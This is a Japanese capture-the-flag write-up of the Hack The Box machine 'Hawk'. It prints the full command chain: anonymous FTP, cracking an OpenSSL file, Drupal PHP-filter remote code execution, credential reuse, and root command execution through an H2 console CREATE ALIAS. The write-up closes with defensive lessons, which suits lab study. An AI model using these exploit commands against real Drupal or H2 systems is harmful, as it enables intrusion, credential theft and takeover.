Hack The BoxのWriteup(Hawk)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Hawk — 全実行コマンド・実行結果レポート
Nmap スキャン
21 FTP, 22 SSH, 80 Drupal7, 8082 H2
匿名FTP + OpenSSLクラック
bruteforce-salted-openssl
Drupal admin + PHP filter RCE
node Preview → settings.php
daniel SSH
制限Pythonシェル要回避、user.txt ✓
SSHトンネル → H2コンソール
CREATE ALIAS EXECVE
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.193
RESULT
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
80/tcp   open   http
5435/tcp closed unknown
8082/tcp open   blackice-alerts
9092/tcp closed unknown

Web/FTPバナー確認

BASH
curl -sI http://10.129.95.193/
curl -s ftp://anonymous:anonymous@10.129.95.193/
RESULT
Server: Apache/2.4.29 (Ubuntu)
X-Generator: Drupal 7 (http://drupal.org)

drwxr-xr-x 2 ftp ftp 4096 Jun 16 2018 messages   ← 匿名FTPログイン許可、messagesディレクトリ発見
🚨
FTPが匿名ログインを許可しており、messagesディレクトリの中に 暗号化ファイルらしき隠しファイルが存在することが後の調査で判明する。
PHASE 2

匿名FTPで暗号化ファイル取得 → OpenSSLパスワードクラック

暗号化ファイルの取得

BASH
curl -s ftp://10.129.95.193/messages/.drupal.txt.enc
RESULT (base64テキスト)
U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb
CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz
QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy
t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=
ℹ️
base64デコードするとSalted__マジックバイトで始まる、 OpenSSLのencコマンドで暗号化されたファイルであることが分かる。

bruteforce-salted-opensslでパスワードクラック

BASH
# base64デコードして保存後
bruteforce-salted-openssl -t 4 -f /usr/share/wordlists/rockyou.txt \
  -c aes-256-cbc -d sha256 hawk_drupal.txt.enc
RESULT
Password candidate: friends

復号 → Drupal管理者パスワード発見

BASH
openssl enc -aes-256-cbc -d -in hawk_drupal.txt.enc \
  -out hawk_drupal.txt -k friends
RESULT
Daniel,

Following the password for the portal:

PencilKeyboardScanner123

Please let us know when the portal is ready.

Kind Regards,

IT department
IT部門からdanielへの社内メモという体裁で、Drupalポータルの管理者パスワードが 平文で記載されている。典型的な「秘密情報を暗号化ファイルとして共有」パターンだが、 暗号化パスワード自体が辞書攻撃で破られてしまっている。
PHASE 3

Drupal管理ログイン → PHP filterモジュール → RCE

管理者ログイン

BASH
# /user/login からform_build_id等を抽出しCookie保持の上POST
curl -s -c cookies.txt http://10.129.95.193/user/login
curl -s -b cookies.txt -c cookies.txt \
  --data-urlencode name=admin \
  --data-urlencode pass=PencilKeyboardScanner123 \
  --data-urlencode form_build_id=<抽出値> \
  --data-urlencode form_id=user_login \
  --data-urlencode op="Log in" \
  http://10.129.95.193/user/login
admin:PencilKeyboardScanner123でログイン成功。

PHP filterモジュール有効化

BASH
# /admin/modules のフォームを解析し、既存の有効モジュール一式に
# modules[Core][php][enable]=1 を追加してPOST
curl -s -b cookies.txt -c cookies.txt \
  --data-urlencode "modules[Core][php][enable]=1" ... \
  --data-urlencode op="Save configuration" \
  http://10.129.95.193/admin/modules
ℹ️
Drupal 7のPHP filterモジュールは、有効化するとコンテンツ本文にPHPコードを 直接埋め込んで実行できる公式(ただし非常に危険な)機能。管理者権限があれば 誰でも有効化でき、有効化後は認証済み管理者による事実上の任意コード実行経路になる。

新規ページのPreviewでRCE → settings.php読取

BASH
# /node/add/page のフォームに本文としてPHPコードを埋め込み、
# 保存(Save)ではなく Preview を実行するとその場でPHPが評価される
curl -s -b cookies.txt -c cookies.txt \
  --data-urlencode title=diag \
  --data-urlencode 'body[und][0][value]=<?php system("cat /var/www/html/sites/default/settings.php"); ?>' \
  --data-urlencode body[und][0][format]=php_code \
  --data-urlencode op=Preview \
  http://10.129.95.193/node/add/page
RESULT (抜粋)
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupal',
      'password' => 'drupal4hawk',
      'host' => 'localhost',
⚠️
重要な落とし穴: settings.php全体には、設定例を示す大量の PHPDocコメント(全て行頭が*で始まる)が含まれており、 コメント中のプレースホルダにも 'password' => 'password'のような文字列が繰り返し出現する。 単純に最初の'password' => '...'にマッチする正規表現を使うと、 本物のdrupal4hawkではなくコメント中のプレースホルダ文字列 "password"を誤って抽出してしまう。行頭が *////#のコメント行を除外してから 検索する必要がある。
PHASE 4

パスワード使い回しでSSH → user.txt

重要な落とし穴 — danielの制限されたPythonシェル

BASH (最初の失敗)
ssh daniel@10.129.95.193 "cat /home/daniel/user.txt"
RESULT
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'cat' is not defined
⚠️
daniel のログインシェルは通常のbash/shではなく、対話的なPython REPLに設定されている。コマンド引数付きのssh user@host "cmd" という通常の呼び出し方をすると、cmd文字列がそのままPythonの 式として評価されようとしてNameErrorになり、シェルコマンドとしては 一切実行されない。
BASH (修正)
# コマンド引数を渡さずセッションを張り、標準入力からPythonコードを流し込む
ssh daniel@10.129.95.193 <<'EOF'
import os
os.system('cat /home/daniel/user.txt')
EOF
RESULT
c3a1c69625250747ecb1be3f678da65e
os.system()をPythonの式として評価させることで、Python REPL越しに 任意のシェルコマンドを実行できる。(先にimport osを実行し忘れると 今度はNameError: name 'os' is not definedになるので注意。)
user.txt — daniel
c3a1c69625250747ecb1be3f678da65e
PHASE 5

SSHローカルポートフォワード → H2データベースコンソール

ポート8082はlocalhost限定 — SSHトンネルで到達

BASH
# -N -L はコマンド実行を要求しないポート転送専用モードのため、
# danielのPython制限シェルの影響を一切受けない
sshpass -p drupal4hawk ssh -N -L 127.0.0.1:9002:127.0.0.1:8082 \
  daniel@10.129.95.193
ℹ️
H2データベースのWebコンソール(初期状態ではroot権限のシステムサービス として起動)は127.0.0.1:8082にバインドされ外部からは 直接アクセスできない設計になっているが、SSHのローカルポートフォワードで Kali側の任意ポート(9002)へトンネルすれば到達できる。

H2コンソールへのログイン(セッション確立)

BASH
curl -s http://127.0.0.1:9002/                      # トップページからjsessionid付きURL取得
curl -s --data-urlencode language=en \
  --data-urlencode "setting=Generic H2 (Embedded)" \
  --data-urlencode driver=org.h2.Driver \
  --data-urlencode url=jdbc:h2:~/<ランダムDB名> \
  --data-urlencode user=sa --data-urlencode password= \
  "http://127.0.0.1:9002/login.do?jsessionid=<...>"
認証なしで新規H2データベースを作成しログインできる(H2コンソールの初期設定の 危険な既定動作)。作成したDBに対して以降のSQL/CREATE ALIASが実行できる。

CREATE ALIAS で任意コマンド実行機能を追加

BASH (exploit-db 45506 と同一手法)
curl -s --data-urlencode 'sql=CREATE ALIAS EXECVE AS $$
String execve(String cmd) throws java.io.IOException {
  java.util.Scanner s = new java.util.Scanner(
    Runtime.getRuntime().exec(cmd).getInputStream()
  ).useDelimiter("\\A");
  return s.hasNext() ? s.next() : "";
}
$$;' "http://127.0.0.1:9002/query.do?jsessionid=<...>"
ℹ️
H2データベースはJavaのユーザー定義関数(ALIAS)をSQL経由で登録できる機能を持つ。 H2コンソールサービス自体がroot権限で稼働しているため、ここで登録した EXECVE関数を呼び出すコマンドはすべてroot権限で 実行される。
PHASE 6

EXECVEエイリアスでroot.txt取得

root.txt読取

BASH
curl -s --data-urlencode "sql=CALL EXECVE('cat /root/root.txt')" \
  "http://127.0.0.1:9002/query.do?jsessionid=<...>"
RESULT (HTMLテーブルから抽出)
2fd2e26dc60a848112280d6a92b699cc
root権限でのコマンド実行成功。H2コンソールがroot権限で 動作していたため、SSHトンネル経由でアクセスできさえすれば CREATE ALIAS EXECVEだけで直接rootのファイルを読み取れる。
root.txt — root@Hawk
2fd2e26dc60a848112280d6a92b699cc
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — daniel
c3a1c69625250747ecb1be3f678da65e
root.txt — root
2fd2e26dc60a848112280d6a92b699cc

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
FTP匿名アクセス + 弱いOpenSSLパスワード vsftpd Drupal管理者パスワードの漏洩 Medium rockyou.txtでの辞書攻撃(bruteforce-salted-openssl)によりAES暗号化ファイルを復号
Drupal 7 PHP filterモジュール RCE /node/add/page (Preview機能) リモートコード実行 (www-data) Critical 管理者権限でPHP filterを有効化し、ノードのPreview機能でPHPコードをその場実行
パスワードの使い回し MySQL drupal ユーザー / daniel Linuxアカウント 横展開 (www-data → daniel) Medium settings.phpから取得したDBパスワードがそのままdanielのSSHパスワードとしても有効
H2コンソール認証なしアクセス + root権限稼働 H2 Database Console (127.0.0.1:8082) 権限昇格 (daniel → root) Critical SSHトンネルで到達後、認証なしで新規DB作成しCREATE ALIASでJavaコード(root権限)を実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap21 FTP, 22 SSH, 80 Drupal7, 8082 H2
2資格情報奪取匿名FTP + bruteforce-salted-opensslDrupal admin: PencilKeyboardScanner123
3RCE確立PHP filterモジュール + node Previewsettings.php(MySQL drupal:drupal4hawk)
4フラグ取得①パスワード使い回しSSH(制限Pythonシェル回避)user.txt
5権限昇格経路確保SSHローカルポートフォワード + H2コンソールCREATE ALIAS EXECVE(root権限コード実行)
6フラグ取得②root.txt

学んだ教訓 & 防御策

問題点防御策
FTP匿名アクセスに機密情報(暗号化ファイル)を配置 匿名FTPを無効化する。仮に必要でも機密情報は絶対に置かない。
暗号化パスワードが辞書攻撃で破られる弱いもの OpenSSL暗号化には十分な長さ・複雑さのランダムパスワードを使い、可能なら鍵ベースの暗号化に置き換える。
Drupal管理画面からPHP filterモジュールが有効化可能 PHP filterモジュールは本番環境では完全に削除する(Drupal公式も強く非推奨としている)。管理者アカウントの認証情報管理を強化する。
DB資格情報がLinuxアカウントのSSHパスワードとしても再利用されている 用途ごとに異なる認証情報を発行し、パスワードマネージャーで一元管理する。
H2データベースコンソールが認証なしでアクセス可能かつroot権限で動作 H2コンソールは開発環境限定で使用し本番では無効化する。やむを得ず稼働させる場合は必ず認証を設定し、専用の非特権ユーザーで実行する。
HackTheBox: Hawk | 完全攻略レポート